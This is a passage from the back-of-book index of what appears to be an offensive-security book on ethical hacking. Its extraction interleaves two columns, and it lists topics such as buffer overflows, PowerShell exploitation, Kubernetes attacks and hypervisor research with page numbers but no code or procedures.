references, 446 escape sequences in strings, 34
static, 427–435 ESP (Extended Stack Pointer)
summary, 445 offsets, 264
Empire tool. See PowerShell Empire stack operations, 200–201
encoded commands in PowerShell, 310–311 Windows programs, 256
encodedcommand option in PowerShell, 306, Etcd store in Kubernetes, 624
310, 312 ethical hacking history, 6–9
encryption for network evasion, 147 ethics in gray hat hacking, 5
end of message (EOM) MSRs in Hyper-V, 528 Ettercap tool, 436–440
endpoint addresses in USB packets, 543 ETW (Event Tracing for Windows)
endpoint detection and response (EDR), events, 145
149–150 EtwEventWrite function, 145–146
endpoints event IDs in data-driven hunts, 180
finding, 627 Event Tracing for Windows (ETW)
USB, 542 events, 145
energy industry, IoT things for, 394 Evil-WinRM tool, 338–341
Enhanced Host Controller Interface (EHCI) except_handler function, 272
controller, 547–548 exception handling
Enter-PSSession cmdlet, 366 fuzzing, 513–514
Entropy Legend sidebar in Ghidra Windows programs, 257, 270–272
Code Browser, 77 EXCEPTION_REGISTRATION structure,
EnumDeviceDrivers function, 299 270–271
environment/arguments section in memory, exec command in Docker, 615
33–34 Execute phase in SCRAPE process, 464
environment setup execution policies in PowerShell, 308–309
AWS, 571 Exfiltration folder in PowerSploit, 314
Docker, 615 expand tool for patches, 381
embedded device vulnerability analysis, 436 exploit command
Hyper-V, 517–519 Metasploit, 130
Linux containers, 604–605 payload obfuscation, 139
Linux kernel exploits, 233–234 exploitation phase in Cyber Kill Chain, 12
vulnerable program, 219–220 Exports tab in IDA Pro, 96
EOM (end of message) MSRs in Hyper-V, 528 Extended Base Pointer (EBP)
epilogs for function, 201 stack operations, 200–201
_EPROCESS structure, 296–297, 299–301 Windows exploitation, 279–280
EPT pointer (EPTP), 482–483 Windows programs, 256
EPTs (Extended Page Tables), 482–483 Extended Instruction Pointer (EIP)
equivalence property for virtual machines, 471 buffer overflows, 202–206
escalate_privileges function, 238, 242 controlling, 212–214
escalation of privileges offsets, 264
Active Directory recon, 359 stack operations, 200–201
description, 16 Windows programs, 257
Index
649
Extended Page Tables (EPTs), 482–483 full vendor disclosure, 7
Extended Stack Pointer (ESP) function addresses in USB packets, 543
offsets, 264 Function Analyzer in Ghidra, 74
stack operations, 200–201 function-calling procedures in stack
Windows programs, 256 operations, 199–201
external symbols in IDA Pro, 93 functionality in Ghidra, 72–73
functions
F C language, 22–23
f-maps for hardware virtualizer, 473 finding pointers to, 559–560
failure condition in PowerShell, 307–309 IDA Pro, 93–94, 98
fast hypercalls in Hyper-V, 529–530 kernel drivers, 283
fast (re)booting in unikernel, 489 fuzzing
fat applications in penetration testing, 115 base class, 509–510
faults, VM, 472–473 exception handling, 513–514
federated tenants in Azure, 595 IO-Ports, 510–511
FFI (Foreign Function Interface) bindings, 293 MSR fuzzer, 511–513
fgets() function, 370 research frameworks, 508–515
files tips and improvements, 514–515
assembly language, 41
AWS storage, 570–571 G
Python, 51–52 g_free function, 559
Find-InterestingDomainAcl cmdlet, 361 g_spawn_command_line_async function,
findpeersh function, 216 559–561
fingerprint option in Responder, 329 gadgets
fingerprinting API Servers, 625–626, 628–630 one-gadgets, 62–63
FirmAE tool, 440–445 ROP, 222
firmware emulation, 441–445 Ropper Console, 242–243
first chance exceptions in SMAP bypass, 244–245
Windows programs, 257 Windows exploitation, 274–278
Flake, Halvar, 372 gcc compiler, 30–31
flip_bits method, 513 gdb debugger
flow arrows in Ghidra Code Browser, 76 basics, 42–45
flow graphs in Ghidra, 79 buffer overflows, 203–206, 211–213,
for loops in C language, 27–28 216–217
Foreign Function Interface (FFI) bindings, 293 extension, 64
format strings for C print command, 24–25 function pointers, 559–560
free() function, 33 IDA Pro, 103–104
frequency IRQState, 561
SCRAPE process, 455 Linux kernel exploits, 235
SDR, 448 Linux vulnerable program setup, 220–223
FromBase64String function, 319 segmentation faults, 202
full address-space leak primitive in hypervisor gdbserver command, 105
case study, 556–558 Geiger, Jaime, 381, 383
Full Disclosure mailing list, 8 general operating systems for embedded
full duplex in SDR, 448 devices, 423
full outer joins, 191 General Options in IDA Pro, 100
full public disclosure, 8 General Registers in IDA Pro, 104, 107
650
general registers in Intel processors, 36 goal-oriented penetration testing, 114
Generation-1 VMs, scanning devices in, Goldberg, Robert P., 470
522–523 Goldberg’s hardware virtualizer, 472–474
Generation-2 VMs, scanning devices in, Golden Tickets
523–524 creating, 119
Gerstenkorn, Ryan, 580 Kerberos, 345, 363–364
Get-ChildItem cmdlet, 348 GOTs (Global Offset Tables), 57, 229
GET command gpa_range function, 535
network evasion, 148–149 gpa_range_size function, 535
ProSSHD server exploitation, 259 GPADLs (Guest Physical Address Descriptor
unikernel communication, 494 Lists), 534–537
Get-ComputerInfo cmdlet, 349–350 GPAs. See guest physical addresses (GPAs)
Get-DomainObjectAcl cmdlet, 355 GPFNs (guest page frame numbers),
get_kernel_base function, 300 534–535, 537
Get-LocalUser command, 339 Grand, Joe, 412
GetDeviceDriverBaseNameA function, 299 Graph Overview window in IDA Pro, 94
getEC2WinCreds.py script, 580 graphs
getpid command, 142 Ghidra, 78–79
GetProcAddress function, 300 IDA Pro, 95
GetProcessHeap function, 91 gray hat hacking overview
gets() function, 370 black hat hacking, 11–17
getuid command, 130 bug bounty programs, 10
ghh_read function, 235 definition, 5–6
ghh_seek function, 244 ethical hacking history, 6–9
ghh_write function, 235 ethics, 5
Ghidra tool history, 3–5
binary diffing and patch analysis, 83–87 introduction, 3
Code Browser, 74–77 readings, 18
decompiler, 78 references, 18–20
functionality, 72–73 summary, 17
graphs, 78–79 greeting() function, 255–256, 258
installing, 72 Group groups, 346
introduction, 71 groups in Active Directory, 345–346
program analysis, 73–74 Grunts in Covenant, 132–135
program annotations, 78 /GS switch for Windows compiler, 252
project workspace, 72 GsDriverEntry for Windows kernel drivers, 287
readability, 80–83 GuardDuty
readings, 88 AWS, 574
references, 88 RedBoto, 576
search, 77 guest OS identity MSRs, 524
summary, 87 guest page frame numbers (GPFNs),
vulnerabilities analysis, 432–435 534–535, 537
global namespace in Windows kernel, 293 Guest Physical Address Descriptor Lists
Global Offset Tables (GOTs), 57, 229 (GPADLs), 534–537
globally unique identifiers (GUIDs), 521 guest physical addresses (GPAs)
GNU Radio Companion tool, 451–452 EPTs, 482
go launchers, 142–144 hypercalls, 529–530
Index
651
shadow paging, 477–479 hubs, USB, 542
VMBus, 532, 534–536 HV_MESSAGE structure, 527
x86 virtualization, 477–478 HvCallCreatePort method, 526, 528
guest state in VMCS, 481 HvCallEnablePartitionVtl method, 521
guest virtual addresses (GVAs) HvCallEnableVpVtl method, 521
EPTs, 482–483 HvCallFlushVirtualAddressList hypercall, 530
x86 virtualization, 478 HvCallFlushVirtualAddressSpace hypercall, 530
guests in research framework clients, 504–506 HvCallPostMessage method, 527, 532,
GUIDs (globally unique identifiers), 521 535–536
GVAs (guest virtual addresses) HvCallSignalEvent method, 528, 537
EPTs, 482–483 HvCallVtlCall method, 522, 525
x86 virtualization, 478 HvCallVtlReturn method, 522, 525
HVCI (Hypervisor-protected
H Code Integrity), 521
HAL (Hardware Abstraction Layer), 282 hybrid virtual machines (HVMs), 471–472
half duplex in SDR, 448 Hyper-V hypervisor
Ham It Up Nano add-on, 448 architecture, 519
handler tool in Metasploit, 130 components, 519–521
handling environment setup, 517–519
exceptions, 257, 270–272, 513–514 Generation-1 VMs, 522–523
unikernel requests, 499–500 Generation-2 VMs, 523–524
handshakes for USB packets, 543 hypercalls, 528–531
Hardware Abstraction Layer (HAL), 282 introduction, 517
hardware assisted virtualization readings, 538–539
EPT, 482–483 references, 539
introduction, 480 summary, 538
VMX, 480–482 synthetic interface, 524–531
hardware for vulnerabilities analysis, Virtual Trust Levels, 521–522
436–440 VMBus, 532–538
hardware virtualizer, 472–474 worker processes, 519–521
hashes, capturing, 325–331 hypercall page MSRs, 524–525
Heap Made Easy (HeapME) tool, 67–69 hypercalls in Hyper-V, 528–531
heap section in memory, 33 hyperv_guest.py script, 518
HeapAlloc function, 91–92, 96–97 hypervisor case study
HELK threat hunting lab, 161–163 arbitrary reads, 555–556
help command in Metasploit, 130 EHCI controller, 547–548
Hex Dump section in Immunity Debugger, 253 exploit launching, 562
honeyscores, 401 full address-space leak primitive, 556–558
hooks in EDR evasion, 150 function pointers, 559–560
host state area in VMCS, 481 introduction, 541
hosts IRQState, 561
DetectionLab installation on, 155–157 module base leak, 558
recon, 344 readings, 563
USB, 542 references, 563
hotkeys in IDA Pro, 100–101 relative read primitive, 553–555
HTTP in network evasion, 148–149 relative write primitive, 552–553
652
hypervisor case study (cont.) if/else construct in C language, 28–29
ret2lib technique, 559–560 IMDS (Identity Metadata Service), 574
summary, 562 immediate addressing mode, 40
trigger development, 546–552 Immunity Debugger
USB basics, 542–546 attack vectors, 264–265
Hypervisor-protected Code Integrity offsets, 262–264
(HVCI), 521 Windows programs, 252–259
hypervisors Impacket script, 334
attack surfaces, 487–489 impact ratings in penetration test reports,
description, 469–470 117–118
dynamic binary translation, 476 import_keys command, 578
Goldberg’s hardware virtualizer, 472–474 Imports tab in IDA Pro, 96
hardware assisted virtualization, 480–483 inc command, 39
Hyper-V. See Hyper-V hypervisor incentives in bug bounty programs, 10
paravirtualization, 479–480 indentation in Python, 52
Popek and Goldberg virtualization independent living, IoT things for, 394
theorems, 470–472 index patterns
references, 484–485 hypothesis-driven hunts, 187
ring compression, 476–477 Kibana, 165–166
summary, 483 indexed relative addressing mode, 40
types, 474–475 indicators of compromise (IOCs), 119
x86 virtualization, 475–480 industrial control systems (ICS), IoT things
hypothesis-driven hunts for, 399
exploring, 183–186 info functions command, 45
overview, 174–175 information-gathering tools in Linux,
55–64
I information leaks
I/O Request Packet (IRP) in kernel drivers, 283 ASLR bypassing, 228–230
I2C (Inter-Integrated-Circuit), 417 PIE bypassing, 230–232
IAM (Identity and Access Management) Information section in Immunity
service, 569 Debugger, 253
iconv function, 310 infrastructure, AWS, 568
ICS (industrial control systems), IoT things inheritance in Azure, 586
for, 399 initramfs.cpio file, 233
ICs (integrated circuits), 409 injectCreateRemoteThread function, 146
ICs (Integration Components), 520–521 inner joins in queries, 191
IDA Pro. See Interactive Disassembler (IDA) Pro innocuous CPU instructions, 470–471
identities in Azure, 598–600 Inspectrum analyzer for SCRAPE process,
Identity and Access Management (IAM) 456–457, 463
service, 569 install_idt method, 514
Identity Metadata Service (IMDS), 574 installing
identity providers (IdPs), 591–592, 595 Cyber Kill Chain, 12–13
IDS/IPS evasion, 147 DetectionLab in cloud, 157–160
IDTR registers, 475 DetectionLab on host, 155–157
IDTs (Interrupt Descriptor Tables), 526 Ghidra, 72
fuzzers, 514 HELK, 161–163
x86 virtualization, 475 winlogbeat, 163–164
Index
653
instance metadata in AWS, 573 Interrupt Descriptor Table (IDTs), 526
instruction pointer in Windows exploitation, fuzzers, 514
260–262 x86 virtualization, 475
int instruction, 40 Interrupt Return (iretq) instruction, 238, 242
integrated circuits (ICs), 409 Invoke-AtomicTest tool, 183–186
Integration Components (ICs), 520–521 Invoke-Binary command, 340–341
Intel-driven hunts, 174 Invoke-Expression cmdlet, 311, 339
Intel processors, 36–37 Invoke-Mimikatz.ps1 script, 315
Inter-Integrated-Circuit (I2C), 417 Invoke-Seatbelt module, 347
Interactive Disassembler (IDA) Pro Invoke-WebRequest cmdlet, 311, 339, 599
comments, 102 IO-Ports fuzzer, 510–511
cross-references, 96–97 _IO_STACK_LOCATION structure, 283,
debugging, 102–107 289–290
disassembly overview, 90–92 IoCreateDevice function, 288
features and functionality overview, 96 IoCreateSymbolicLink function, 288
function calls, 98 IOCs (indicators of compromise), 119
introduction, 89 ioctl function, 298
navigating, 92–96 IoT. See Internet of Things (IoT)
opcodes and addressing, 100 iov_from_buf function, 551
proximity viewer, 99–100 IPC$ share in Winexe, 332
readings, 107 ipython3 for SCRAPE process, 460
references, 107 IRP (I/O Request Packet) in kernel drivers, 283
reverse engineering, 89 _IRP_MJ_DEVICE_CONTROL structure,
shortcuts, 100–101 283, 289
summary, 107 IRP_MJ_ functions, 288
InternalAddPrinterDriverEx function, 388 IRQState, finding, 561
Internet of Things (IoT)
communication protocols, 395 J
embedded devices. See embedded devices jitter in Command and Control, 128
introduction, 393 John the Ripper tool, 331, 360–361
MQTT, 402–404 joins in queries, 190–191
readings, 406 Joint Test Action Group (JTAG), 418–420
references, 406–407 jq tool, 544–546
security concerns, 396 JSON
Shodan API, 401–402 Azure, 592–593, 595
Shodan command-line interface, jq tool, 544–545
400–401 JSON Web Tokens (JWTs)
Shodan search engine, 396 Azure, 599
summary, 405 Kubernetes, 633
types, 394 JTAG (Joint Test Action Group), 418–420
web interface, 397–400 JTAGulator tool, 412–413
wireless protocols, 394–395 jump commands, 39
worms, 404–405 JumpOpXref hotkey in IDA Pro, 98
Internet Protocol version 6 (IPv6) Jupyter for threat hunting, 190–193
over Low-power Wireless Personal JWTs (JSON Web Tokens)
Area Networks (6LoWPAN), 395 Azure, 599
interpreters for VMMs, 470 Kubernetes, 633
654
K readings, 639
references, 639
kafkacat tool, 169
summary, 639
Kali, Python for, 45
Kubestriker tool, 631–633
KASLR (Kernel Address Space Layout
Randomization), 246–248 L
Kerberoasting, 360–361
Kerberos L0pht group, 5
credential gathering, 360–361 Lambda functions in AWS, 582
privilege escalation, 361–364 LAN Manager (LM), 326–327
kernel launchers
Linux. See Linux kernel exploits C#, 141–142
Windows. See Windows kernel exploits go, 142–144
Kernel Address Space Layout Randomization Nim, 144–147
(KASLR), 246–248 ldd tool, 56
kernel-land debuggers, 284 lea command, 39–40
kernel-mode code signing (KMCS), 283 leak-bof.c sample, 65–67
Kernel Page-Table Isolation (KPTI) leak_bytes function, 230
bypassing, 241–243 leak_module_base function, 558–559
x86 virtualization, 477 leak_multiple function, 558
keys and key material in AWS, 572–575 leave statement in stack operations, 201
Kibana, 164 left joins in queries, 191
AtomicRedTeam attacker emulation, 182 libc-database, 61
index patterns, 165–166 libraries
queries, 166–167 IDA Pro, 93
KMCS (kernel-mode code signing), 283 Linux, 56, 64–67
KoreLogic ruleset, 331 Linares, Greg, 381
Koret, Joxean, 371 Link Local Multicast Name Resolution
_KPROCESS structure, 296 (LLMNR)
KPTI (Kernel Page-Table Isolation) overview, 325–326
bypassing, 241–243 poisoning, 119, 330
x86 virtualization, 477 linking C language, 30
Krebs, Brian, 404 Linux containers
Kube-proxy component, 624 cgroups, 604–607
kubectl exec command, 633 environment setup, 604–605
kubectl get pods command, 634 internals, 604
kubectl get svc command, 637 namespaces, 607–608
Kubelet component, 624 overview, 603–604
Kubernetes storage, 608–611
API Servers, attacking, 636–638 Linux exploit development tools
API Servers, finding, 627–628 HeapMe, 67–69
API Servers, fingerprinting, 625–626, information-gathering tools, 55–64
628–630 introduction, 55
architecture, 623–624 Pwntools, 64–67
attacks from within, 633–635 Python gdb extension, 64
hacking overview, 630–631 readings, 70
introduction, 623 references, 70
Kubestriker tool, 631–633 summary, 70
Index
655
Linux exploits LoadLibraryA function, 299–300
buffer overflows, local, 207–212 local buffer overflows
buffer overflows, overview, 201–206 command lines, 208–209
development process, 212–217 NOP sleds, 207
introduction, 199 Pwntools framework, 209–210
kernel. See Linux kernel exploits shellcode, 207–208
readings, 217 small buffers, 210–212
stack operations and function-calling local privilege escalation, 357–359
procedures, 199–201 locations in AWS, 568
summary, 217 Lockheed Martin Cyber Kill Chain, 11–14
vulnerable program, ASLR bypass, log providers for data-driven hunts, 180
228–230 logging in PowerShell, 306
vulnerable program, NX stack bypass, login sessions in WMI, 334–336
222–225 Long, Chris, 154
vulnerable program, PIE bypass, 230–232 loops in C language, 27–28
vulnerable program, readings, 232 ltrace utility, 59
vulnerable program, references, 232
vulnerable program, setup, 219–221 M
vulnerable program, stack canaries, MAC (media access control) addresses, 436
225–228 machine language
vulnerable program, summary, 232 vs. assembly language, 37
Linux kernel exploits disassembly, 90–92
gdb setup, 235–236 macOS, Python for, 45
KASLR, 246–248 main() function in C language, 22
readings, 248 major functions in kernel drivers, 283
references, 248 make deploy command, 582
ret2usr, 236–238 make_vector_handler method, 514
RIP overwriting, 236 malicious code, buffer overflows from, 206
setup, 233–234 malloc() function, 33
SMAP bypassing, 244–246 man-in-the-middle (MITM) attacks, 436
SMEP and KPTI bypassing, 241–243 managed identities in Azure, 598–600
stack canaries, 238–241 managed nodes in Kubernetes, 635
summary, 248 managed tenants in Azure, 594
listeners in Covenant, 132–134 management groups in Azure, 586
Listing window in Ghidra Code Browser, Mandatory Integrity Control (MIC) level,
75–77 320–321
lists in Python, 49–50 manufacturing, IoT things for, 394
little-endian memory order, 32 Martinez, Ramses, 10
LLMNR (Link Local Multicast Mayhem folder in PowerSploit, 314
Name Resolution) MBI (multiboot info) area for unikernel
overview, 325–326 messages, 498
poisoning, 119, 330 media access control (MAC) addresses, 436
LM (LAN Manager), 326–327 medical and healthcare, IoT things for, 394
loaded modules (DLLs) in Windows memcpy function
exploitation, 264–265 IDA Pro, 99
loadLib function, 146 Windows kernel drivers, 290
656
memmove() function, 290–292, 294–296 Miller, Charlie, 9
memory Miller, Mark, 8
buffers, 34 Mimikatz
bypassing in Windows exploitation, detection engineering, 125
271–272 PowerShell for, 315–316
C language, 31–35 threat simulation and emulation,
DetectionLab, 156 119–120
endian, 32 WinRM, 321–322
kernel, 282 mimikatz logonpasswords command, 321
pointers, 34–35 MIPS architectures for embedded devices,
programs in, 32–34 410–411
random access memory, 31–32 Mirai worm, 405
sample program, 35 MITM (man-in-the-middle) attacks, 436
segmentation, 32 MITRE ATT&CK framework
stack operations, 199–201 Attack Navigator, 118
strings, 34 cyber threat emulation, 16–17
memory addresses in Ghidra Code Browser, 77 cyber threat intel, 15–16
Memory Management Units (MMUs), data-driven hunts, 177–180
477–479 hypothesis-driven hunts, 174–175
memory-mapped I/O (MMIO) introduction, 14–15
access in Hyper-V, 520 security engineering, 17
memory-mapped I/O (MMIO) tactics, 15–16
emulation in fuzzing, 514 threat hunting, 17
Message Queuing Telemetry Transport threat simulation and emulation, 120
(MQTT) services mmap function
playing with, 403–404 mapping randomization, 228
searching for, 402 SMAP bypass, 244–246
unauthenticated access, 404 MMIO (memory-mapped I/O)
messages method for research framework access in Hyper-V, 520
clients, 507 MMIO (memory-mapped I/O)
Metasploit framework emulation in fuzzing, 514
introduction, 128 MMUs (Memory Management Units),
payload obfuscation, 136–140 477–479
shell creation, 129–131 .model directive in assembly language, 41
Metcalf, Sean, 364 model-specific registers (MSRs)
Meterpreter fuzzer, 511–513
node backdoors, 600 synthetic, 524–528
payload creation, 129–130 module base leak in hypervisor case study, 558
payload obfuscation, 136–140 module logging in PowerShell, 306
MIC (Mandatory Integrity Control) mona.py plug-in, 262–265
level, 320–321 Monti, Eric, 310
microcontrollers for embedded devices, 410 Mordor datasets
microprocessors for embedded devices, 410 threat hunting, 186–190
Microsoft Online Services program, 10 threat hunting labs, 168–169
Microsoft Patch Tuesday, 379–380 mount command, 615
Microsoft Security TechCenter site, 379 mov command, 38
Index
657
MQTT (Message Queuing Telemetry Next SEH (NSEH) value in Structured
Transport) services Exception Handling, 271
playing with, 403–404 nibbles, memory, 31
searching for, 402 Nickels, Katie, 14
unauthenticated access, 404 Nim launchers, 144–147
MSDELTA API for patches, 383 No More Free Bugs sign, 9
msfvenom tool no operation (NOP) command sleds
payload creation, 129 exploit development, 215–216
payload obfuscation, 136–140 local buffer overflows, 207
MSOLSpray tool, 596 nodes, backdoors on, 600
MSRs (model-specific registers) non-executable stack (NX), bypassing,
fuzzer, 511–513 222–225
synthetic, 524–528 non-root mode in VMX, 480
MT enumeration, 493 nonces for hashes, 327
multiboot info (MBI) area for unikernel NOP (no operation) command sleds
messages, 498 exploit development, 215–216
multiboot_tag_mmap structure, 499 local buffer overflows, 207
multitasking OS kernel, 472–474 normalizing data sources, 175–176
multitenant environments in AWS, 567 NSEH (Next SEH) value in Structured
myAtoi program, 90–94 Exception Handling, 271
NT LAN Manager (NTLM), 326–327
N null_mut() function, 293
n-day exploits, 371 numbers in Python, 48–49
namespaces for Linux containers, 607–608 NX bit in Data Execution Prevention, 274
NASM (Netwide Assembler) assembly NX (non-executable stack), bypassing,
language, 37–40 222–225
native_write_cr4 function, 244
NBNS (NetBIOS Name Service), 325–326 O
Neo4j viewer, 356–357 o365spray tool, 596
nested virtualization, 471 obfuscation, payload, 136–140
net command, 120, 130 objdump tool
NetBIOS Name Service (NBNS), 325–326 disassembly, 56–57, 90
Netwide Assembler (NASM) assembly payload obfuscation, 138–139
language, 37–40 strings, 62–63
network evasion object code in C language, 30
alternate protocols, 147–148 objects in Python, 46–48
C2 templates, 148–149 OCI (Open Container Initiative), 604
encryption, 147 Offensive Nim repository, 145
network penetration testing, 115 offer requests for VMBus, 533–534
next-generation patch exploitation offset registers, 32, 36
binary diffing, 369–378 offsets
introduction, 369 EIP, 213–215
Microsoft Patch Tuesday, 379–380 Windows exploitation, 262–264
patch acquisition and extraction, 380–388 Oh, Jeong Wook, 371
readings, 390 on_boot method for fuzzing, 514
references, 390 on-off keying in SCRAPE process, 456
summary, 389–390 1-day exploits, 371
658
one_gadget tool, 62–63 P
OOB (out-of-band) messages
PaaS (platform as a service), 603
debugging, 492
packets, USB, 543–544
unikernel communication, 494–497
PACU Framework, 576–578
OOBAssert message, 497
page frame numbers (PFNs), 478
OOBPRINT maco, 497
paging in x86 virtualization, 477–479
OOBType enumeration, 497
paramiko module, 261
op_commit method, 507
paravirtualization, 479–480
op_exec method, 507
partitions in Hyper-V, 519
op_write method, 507
PAs (physical addresses) in x86 virtualization,
opcodes in IDA Pro, 100
477–478
Open Container Initiative (OCI), 604
Pasknel, Victor, 404
open_dev function, 293, 299
pass-the-hash attacks, 327
Open Source Security Event Metadata
passing commands in PowerShell, 309–310
(OSSEM) project
passwords
data-driven hunts, 177–180
Azure, 590, 596–597
data source normalization, 175–176
hash capturing, 325–331
hypothesis-driven hunts, 186
PowerShell Empire, 321–322
OpenIDConnect, 589, 591, 594
user objects, 359–360
Operand Analyzer in Ghidra, 74
Patch Storage Files (PSFs), 381
operating frequency in SDR, 448
Patch Tuesday, 379–380
operating systems for embedded devices,
patchelf utility, 62
422–423
patches
OpExec operations in unikernel
Ghidra, 86–87
requests, 500
next-generation exploitation.
OpWrite operations in unikernel
See next-generation patch exploitation
requests, 500
USB, 544–546
Organizational Units (OUs), 352–355
PatchExtract tool, 381
OSSEM (Open Source Security Event
Patchntdll function, 145
Metadata) project
payload obfuscation, 136–140
data-driven hunts, 177–180
PCI devices, scanning, 522–524, 547
data source normalization, 175–176
PEBs (Process Environment Blocks), 271
hypothesis-driven hunts, 186
penetration testing
Ostrom, Jason, 587–588
application, 115
OUs (Organizational Units), 352–355
cloud, 116
out-of-band (OOB) messages
network, 115
debugging, 492
overview, 114
unikernel communication, 494–497
physical, 115–116
Output window in IDA Pro, 94–95
process, 116–117
overflow_build method, 553
permissions
overflows, buffer. See buffer overflows
AWS, 569–571, 577–578
Overlay2 file system, 608
Azure, 586, 591–593
OverlayFS file system, 608
Overview Legend sidebar, 77
persistence
OWASP Top 10, 6
Active Directory, 364–367
OwnTracks app, 404
AWS, 580–583
Index
659
Persistence directory in PowerSploit, 314 summary, 368
PFNs (page frame numbers), 478 system recon, 348–351
physical addresses (PAs) in x86 virtualization, user information, 346–348
477–478 POST requests in network evasion, 148–149
physical penetration testing, 115–116 PowerShell Empire, 131
PIDs in USB packets, 543, 550 C2 staging, 317–318
PIE (Position Independent Executable), introduction, 316
bypassing, 230–232 launching, 320–321
pipes for USB devices, 542 setting up, 316–317
pivots for containers, 616 threat simulation and emulation, 120
Plaa, Cornelis de, 150 PowerShell exploitation
platform as a service (PaaS), 603 bootstrapping, 311–313
PLTs (Procedure Linkage Tables), 57, 229 command-line commands, 309–310
pointers domain recon, 352–353
arbitrary read/writes, 297–298 encoded commands, 310–311
finding, 559–560 execution policies, 308–309
memory, 34–35 failure condition, 307–309
Pond, Weld, 5 logging, 306
pop command patch extraction, 381
assembly language, 38 portability, 307
ROP chains, 275 PowerShell Empire, 316–322
stack operations, 199 PowerSploit, 313–316
Popek, Gerald J., 470 readings, 323
Popek and Goldberg virtualization theorems, references, 323
470–472 script loading, 307
portability summary, 323
PowerShell, 307 system recon, 348–350
unikernel, 489 tools, 305–306
ports PowerShell launches in hypothesis-driven
Docker, 612–614 hunts, 186–188
EHCI controller, 560 PowerSploit
fuzzing, 510–511 domain recon, 354
Kubernetes, 627, 635 Mimikatz through, 315–316
Responder, 329 setting up, 313–314
serial, 412 PowerView for domain recon, 354–356
USB, 542 prepare_kernel_cred function, 238, 242
Position Independent Executable (PIE), Preview phase in SCRAPE process, 461–463
bypassing, 230–232 Prime Indoor Wireless Power
post-exploitation in modern Windows Outlet remote, 450
environments printf command
Active Directory persistence, 364–367 buffer overflows, 204–205
domain recon, 351–357 C language, 24–25
escalation, 357–364 PrintNightmare vulnerability, 383–384
host recon, 344–346 PrivEsc directory in PowerSploit, 314
overview, 343 Privilege Escalation Awesome Script
privilege identification, 344–346 (winPEAS) tool, 357–358
readings, 368 privileged CPU instructions, 470–471
660
privileged pods for containers, 617–618 overview, 120–121
privileges readings, 126
escalating. See escalation of privileges references, 126
identifying, 344–346 skills, 123–124
Winexe, 333 summary, 126
Procedure Linkage Tables (PLTs), 57, 229 threat research, 124–125
procedure statements in C language, 22 PurpleCloud project, 587–588
Process Environment Blocks (PEBs), 271 push command
processors assembly language, 38
embedded devices, 410–411 stack operations, 199
Intel, 36–37 PUT command, 494
procfs module, 233–234 put_mbi function, 498–499
program annotations in Ghidra, 78 put_va function, 498
Program Trees in Ghidra Code Browser, 74 PV (proximity viewer) in IDA Pro, 99–100
programmatic access keys, 568–569, Pwn2Own competition, 10
572–575 Pwntools framework
programming survival skills ASLR bypassing, 230
assembly language, 37–42 exploit development, 214–216
C language. See C programming language features, 65–67
debugging, 42–45 function pointers, 560
Intel processors, 36–37 introduction, 64–65
memory, 31–35 local buffer overflows, 209–210
Python language. See Python programming PyBOMBS, 450–451
language PyCommand plug-in, 275–276
readings, 53–54 Pyramid of Pain, 123–124
references, 54 Python programming language
summary, 53 buffer overflows, 203–206
programs in computer memory, 32–34 dictionaries, 50
project window in Ghidra, 72–73 files, 51–52
project workspace in Ghidra, 72 introduction, 45
Project Zero, 9 lists, 49–50
prologs for function, 200–201 numbers, 48–49
ProSSHD server, exploiting, 258–260 objects, 46–48
protocols obtaining, 45–46
Internet of Things, 394–395 research framework clients, 500–508
network evasion, 147–148 sockets, 53
proximity viewer (PV) in IDA Pro, 99–100 strings, 46–48
proxy detection, evading, 147 pywinrm tool, 338
PSFs (Patch Storage Files), 381
PsInitialSystemProcess function, 300 Q
PTES standards, 117 QEMU for Linux kernel exploits, 233–234
pth-wmic client, 334 QH (Queue Head) elements in EHCI
ptrace command, 58 controller, 548
public disclosure, 8 quadruple words (QWORDs) in memory, 31
purple teams queries
activities, 124–125 joins, 190–191
detection engineering, 125 Kibana, 166–167
Index
661
Queue Head (QH) elements in register indirect addressing mode, 40
EHCI controller, 548 registers
QWORDs (quadruple words) in memory, 31 IDA Pro, 104
Immunity Debugger, 252–253
R Intel processors, 36–37
radio frequency (RF). See software-defined memory segmentation, 32
radio (SDR) regular comments in IDA Pro, 102
Rain Forest Puppy (consultant), 8 regular functions in IDA Pro, 93
random access memory (RAM), 31–32 relative_read function, 553–555, 557
Ranum, Marcus, 8 relative virtual addresses (RVAs) of symbols, 300
read_serial function, 492 relative_write function, 552–554, 557
readability of Ghidra, 80–83 Release To Manufacturing (RTM) version of
reads patches, 382–383
hypervisor case study, 555–556 Relocation Read Only (RELRO) exploit
pointer, 297–298 mitigation technique, 232
real-time operating system (RTOS) remote commands for containers, 614–615
for embedded devices, 423 remote system access in Winexe, 332–333
realloc() function, 33 RemoteMemory class for research framework
Reaper worm, 405 clients, 505–507
Recon directory in PowerSploit, 314 RemoteSigned execution policy for
reconnaissance PowerShell, 308
Cyber Kill Chain, 12 rep hypercalls, 530–531
domain, 351–357 repeatable comments in IDA Pro, 102
host, 344–346 Replay phase in SCRAPE process, 452–454
MITRE ATT&CK framework, 16 repo
modern Windows environments, GitHub, 128
344–346 PurpleCloud, 588
penetration testing, 117 reporting phase in penetration testing,
system, 348–351 117–118
recv_msg function, 496 requests
red teams unikernel, 499–500
consultant, 122 USB, 544
corporate, 121–122 VMBus, 533–534
introduction, 111–112 research for threats, 124–125
maturity model, 112 research frameworks
penetration testing, 114–117 clients, 500–508
readings, 126 fuzzing, 508–515
references, 126 hypervisor attack surfaces, 487–489
summary, 126 references, 515
threat simulation and emulation, summary, 515
118–120 unikernel, 489–500
vulnerability scanning, 112–113 resilience of unikernel, 489
RedBoto tools, 576–577 resource-control property for virtual
Redis package for containers, 616 machines, 471
references to Linux constant strings, 57–58 resource groups in Azure, 586
register addressing mode, 40 resource mappings for VMMs, 472–473
662
Responder root file system (RFS) for embedded
obtaining, 327 devices, 428
password hash captures, 327–331 root hubs in USB, 542
running, 328–329 root mode in VMX, 480
responsible disclosure, 8–9 root partitions in Hyper-V, 519
Restricted execution policy for PowerShell, 308 rop command, 275
ret command, 39 ROP (return-oriented programming)
ret2lib technique, 559–560 ASLR bypass, 229–230
ret2libc technique, 275 NX stack bypass, 222–225
ret2usr (return-to-user) exploit, 236–238 Windows exploitation, 274–279
return-oriented programming (ROP) ROP tool, 230
ASLR bypass, 229–230 Ropper tool, 63–64
NX stack bypass, 222–225 rpath tool, 56
Windows exploitation, 274–279 RpcAddPrinterDriver function, 385–387
return-to-user (ret2usr) exploit, 236–238 RpcAddPrinterDriverEx function, 386–388
reverse engineering in IDA Pro, 89 RtlCopyMemory function, 144
reverse shells, 129 RtlDispatchException routine, 272
RF (radio frequency). See software-defined RTM (Release To Manufacturing) version of
radio (SDR) patches, 382–383
